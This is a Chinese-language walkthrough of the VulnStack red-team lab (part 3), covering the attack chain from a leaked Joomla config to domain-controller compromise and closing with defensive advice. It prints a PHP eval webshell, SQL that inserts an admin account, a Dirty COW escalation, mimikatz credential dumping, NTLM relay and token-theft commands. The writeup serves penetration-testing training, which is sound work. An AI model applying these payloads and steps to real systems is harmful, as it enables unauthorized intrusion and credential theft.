Vlunstack ATT&CK实战系列——红队实战(三)Writeup
字数 2354 2025-08-25 22:58:20

VulnStack ATT&CK红队实战(三)渗透测试教学文档

0x00 环境概述

  • 靶场环境:红日安全团队出品的VulnStack ATT&CK实战系列
  • 环境拓扑:
    • 外部Web服务器:Ubuntu系统 (192.168.93.100)
    • 内部服务器:CentOS系统 (192.168.1.110)
    • 域环境:
      • 域控制器:Windows Server 2012 (192.168.93.10)
      • 成员服务器:Windows Server 2008 (192.168.93.20)
      • 成员主机:Windows 7 (192.168.93.30)

0x01 信息收集阶段

1. 初始信息

  • 仅知目标IP:192.168.1.110
  • 80端口运行Joomla! CMS (版本3.9.2)

2. 目录扫描

  • 发现备份配置文件:configuration.php~
  • 获取关键信息:
    • MySQL数据库用户:testuser
    • MySQL密码:cvcvgjASD!@

3. 端口扫描

  • 发现3306端口开放
  • 确认MySQL服务可用

0x02 初始入侵

1. 数据库访问

  • 使用获取的凭据连接MySQL:
    mysql -h 192.168.1.110 -u testuser -p'cvcvgjASD!@'
    
  • 访问Joomla数据库

2. 添加管理员账户

  • 通过SQL语句添加管理员账户:
    INSERT INTO `jos_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`, `resetCount`, `otpKey`, `otep`, `requireReset`, `id`, `email`, `password_clear`, `block`, `sendEmail`, `activation`) VALUES ('admin2', 'admin2', '$2y$10$92nDno4n0Zm7EjHCJ.gDDeV7FvMftlgXHROS8E1XmmZf5RheFpt0u', '', NOW(), NOW(), '0000-00-00 00:00:00', 0, '', '', 0, 1000, 'admin2@test.com', 'secret', 0, 0, 0);
    
    INSERT INTO `jos_user_usergroup_map` (`user_id`, `group_id`) VALUES (1000, 8);
    
  • 新管理员凭据:
    • 用户名:admin2
    • 密码:secret

3. 后台登录与Getshell

  • 登录后台:http://192.168.1.110/administrator/index.php
  • 通过模板编辑功能植入Webshell:
    • 编辑beez3模板文件
    • 插入PHP代码:<?php @eval($_POST['h1']);?>
    • Webshell地址:http://192.168.1.110/templates/beez3/h1.php

0x03 权限提升与内网渗透

1. 绕过disable_functions

  • 使用LD_PRELOAD技术绕过PHP限制:
    <?php
    echo "<pre>";
    $cmd = $_GET["cmd"];
    $evil_cmd = $cmd;
    echo "<pre>" . shell_exec($evil_cmd) . "</pre>";
    ?>
    

2. 系统信息收集

  • 执行命令:
    ifconfig
    uname -a
    
  • 发现实际系统为Ubuntu (192.168.93.100)
  • 确认192.168.1.110为Nginx反向代理

3. 横向移动至CentOS

  • 在Ubuntu上发现SSH凭据:
    • 用户名:wwwuser
    • 密码:通过test.txt文件获取
  • 通过SSH连接CentOS (192.168.1.110)

4. CentOS提权

  • 检查内核版本:
    uname -a
    
  • 使用脏牛(Dirty Cow)漏洞提权:
    gcc -pthread dirty.c -o dirty -lcrypt
    ./dirty
    
  • 设置新root密码

0x04 域渗透

解法一:暴力破解与令牌窃取

1. 内网扫描

  • 使用MSF添加路由:
    route add 192.168.93.0 255.255.255.0 [session_id]
    
  • 扫描内网主机:
    • 192.168.93.20 - Windows Server 2008
    • 192.168.93.30 - Windows 7
    • 192.168.93.10 - Windows Server 2012 (域控制器)

2. 暴力破解

  • 对Windows Server 2008进行本地管理员爆破
  • 成功获取凭据:
    • 用户名:administrator
    • 密码:123qwe!ASD

3. 建立代理通道

  • 使用socks4a代理内网流量
  • 配置Proxifier和proxychains

4. 获取域管理员凭据

  • 使用wmiexec执行命令:
    proxychains python wmiexec.py administrator:123qwe!ASD@192.168.93.20
    
  • 发现域管理员进程
  • 上传mimikatz抓取凭据:
    proxychains smbclient //192.168.93.20/C$ -U administrator%123qwe!ASD -c 'put mimikatz.exe'
    
  • 执行mimikatz获取域管理员密码

5. 访问域控

  • 确定域控制器IP:
    ping test.org
    
  • 使用IPC$连接域控:
    proxychains smbclient //192.168.93.10/C$ -U 'TEST\administrator'%'password'
    
  • 获取flag.txt文件

解法二:NTLM中继攻击

1. 设置Responder

  • 在CentOS上安装Responder
  • 配置MultiRelay.py

2. 触发NTLM认证

  • 发现Windows Server 2008开放1433端口
  • MSSQL凭据与MySQL相同:
    • 用户名:testuser
    • 密码:cvcvgjASD!@
  • 使用MSF触发UNC路径:
    use auxiliary/admin/mssql/mssql_ntlm_stealer
    set RHOSTS 192.168.93.20
    set USERNAME testuser
    set PASSWORD cvcvgjASD!@
    run
    

3. 中继攻击

  • 获取Windows Server 2008的NTLMv2 hash
  • 使用MultiRelay中继到Windows 7
  • 获取Windows 7 shell

4. 获取凭据

  • 使用MultiRelay自带的mimikatz:
    mimikatz # sekurlsa::logonpasswords
    
  • 获取本地管理员密码:administrator/123qwe!ASD

5. 令牌窃取

  • 上传incognito工具
  • 窃取TEST域administrator令牌:
    incognito.exe execute -c "TEST\administrator" "cmd /c whoami"
    

6. 访问域控

  • 使用窃取的令牌复制flag.txt:
    copy \\192.168.93.10\C$\users\administrator\Documents\flag.txt C:\1.txt
    

0x05 关键知识点总结

  1. Web应用渗透

    • Joomla! CMS漏洞利用
    • 配置文件泄露风险
    • 通过数据库添加管理员账户
    • 模板编辑Getshell技术
  2. 权限提升

    • PHP disable_functions绕过(LD_PRELOAD)
    • Linux内核提权(脏牛漏洞)
  3. 内网渗透

    • 路由添加与内网扫描
    • Socks代理建立
    • 密码爆破技巧
  4. 域渗透技术

    • NTLM中继攻击(Responder+MultiRelay)
    • Mimikatz凭据提取
    • 令牌窃取(Incognito)
    • 横向移动方法
  5. 工具使用

    • MSF框架的多功能应用
    • Proxychains代理链
    • Wmiexec远程命令执行
    • SMBclient文件传输

0x06 防御建议

  1. Web安全

    • 及时更新CMS系统
    • 删除备份配置文件
    • 限制数据库用户权限
    • 禁用不必要的PHP函数
  2. 系统安全

    • 及时更新系统内核
    • 使用强密码策略
    • 限制SSH访问
  3. 域安全

    • 启用SMB签名防止中继攻击
    • 限制管理员账户使用范围
    • 监控异常登录行为
    • 定期更换高权限账户密码
  4. 日志监控

    • 监控异常数据库查询
    • 记录敏感文件访问
    • 分析异常网络流量

通过本实战演练,可以全面了解从外网渗透到内网域控的完整攻击链,以及相应的防御措施。

VulnStack ATT&CK红队实战(三)渗透测试教学文档 0x00 环境概述 靶场环境:红日安全团队出品的VulnStack ATT&CK实战系列 环境拓扑: 外部Web服务器:Ubuntu系统 (192.168.93.100) 内部服务器:CentOS系统 (192.168.1.110) 域环境: 域控制器:Windows Server 2012 (192.168.93.10) 成员服务器:Windows Server 2008 (192.168.93.20) 成员主机:Windows 7 (192.168.93.30) 0x01 信息收集阶段 1. 初始信息 仅知目标IP:192.168.1.110 80端口运行Joomla ! CMS (版本3.9.2) 2. 目录扫描 发现备份配置文件: configuration.php~ 获取关键信息: MySQL数据库用户:testuser MySQL密码:cvcvgjASD !@ 3. 端口扫描 发现3306端口开放 确认MySQL服务可用 0x02 初始入侵 1. 数据库访问 使用获取的凭据连接MySQL: 访问Joomla数据库 2. 添加管理员账户 通过SQL语句添加管理员账户: 新管理员凭据: 用户名:admin2 密码:secret 3. 后台登录与Getshell 登录后台: http://192.168.1.110/administrator/index.php 通过模板编辑功能植入Webshell: 编辑 beez3 模板文件 插入PHP代码: <?php @eval($_POST['h1']);?> Webshell地址: http://192.168.1.110/templates/beez3/h1.php 0x03 权限提升与内网渗透 1. 绕过disable_ functions 使用LD_ PRELOAD技术绕过PHP限制: 2. 系统信息收集 执行命令: 发现实际系统为Ubuntu (192.168.93.100) 确认192.168.1.110为Nginx反向代理 3. 横向移动至CentOS 在Ubuntu上发现SSH凭据: 用户名:wwwuser 密码:通过test.txt文件获取 通过SSH连接CentOS (192.168.1.110) 4. CentOS提权 检查内核版本: 使用脏牛(Dirty Cow)漏洞提权: 设置新root密码 0x04 域渗透 解法一:暴力破解与令牌窃取 1. 内网扫描 使用MSF添加路由: 扫描内网主机: 192.168.93.20 - Windows Server 2008 192.168.93.30 - Windows 7 192.168.93.10 - Windows Server 2012 (域控制器) 2. 暴力破解 对Windows Server 2008进行本地管理员爆破 成功获取凭据: 用户名:administrator 密码:123qwe !ASD 3. 建立代理通道 使用socks4a代理内网流量 配置Proxifier和proxychains 4. 获取域管理员凭据 使用wmiexec执行命令: 发现域管理员进程 上传mimikatz抓取凭据: 执行mimikatz获取域管理员密码 5. 访问域控 确定域控制器IP: 使用IPC$连接域控: 获取flag.txt文件 解法二:NTLM中继攻击 1. 设置Responder 在CentOS上安装Responder 配置MultiRelay.py 2. 触发NTLM认证 发现Windows Server 2008开放1433端口 MSSQL凭据与MySQL相同: 用户名:testuser 密码:cvcvgjASD !@ 使用MSF触发UNC路径: 3. 中继攻击 获取Windows Server 2008的NTLMv2 hash 使用MultiRelay中继到Windows 7 获取Windows 7 shell 4. 获取凭据 使用MultiRelay自带的mimikatz: 获取本地管理员密码:administrator/123qwe !ASD 5. 令牌窃取 上传incognito工具 窃取TEST域administrator令牌: 6. 访问域控 使用窃取的令牌复制flag.txt: 0x05 关键知识点总结 Web应用渗透 : Joomla ! CMS漏洞利用 配置文件泄露风险 通过数据库添加管理员账户 模板编辑Getshell技术 权限提升 : PHP disable_ functions绕过(LD_ PRELOAD) Linux内核提权(脏牛漏洞) 内网渗透 : 路由添加与内网扫描 Socks代理建立 密码爆破技巧 域渗透技术 : NTLM中继攻击(Responder+MultiRelay) Mimikatz凭据提取 令牌窃取(Incognito) 横向移动方法 工具使用 : MSF框架的多功能应用 Proxychains代理链 Wmiexec远程命令执行 SMBclient文件传输 0x06 防御建议 Web安全 : 及时更新CMS系统 删除备份配置文件 限制数据库用户权限 禁用不必要的PHP函数 系统安全 : 及时更新系统内核 使用强密码策略 限制SSH访问 域安全 : 启用SMB签名防止中继攻击 限制管理员账户使用范围 监控异常登录行为 定期更换高权限账户密码 日志监控 : 监控异常数据库查询 记录敏感文件访问 分析异常网络流量 通过本实战演练,可以全面了解从外网渗透到内网域控的完整攻击链,以及相应的防御措施。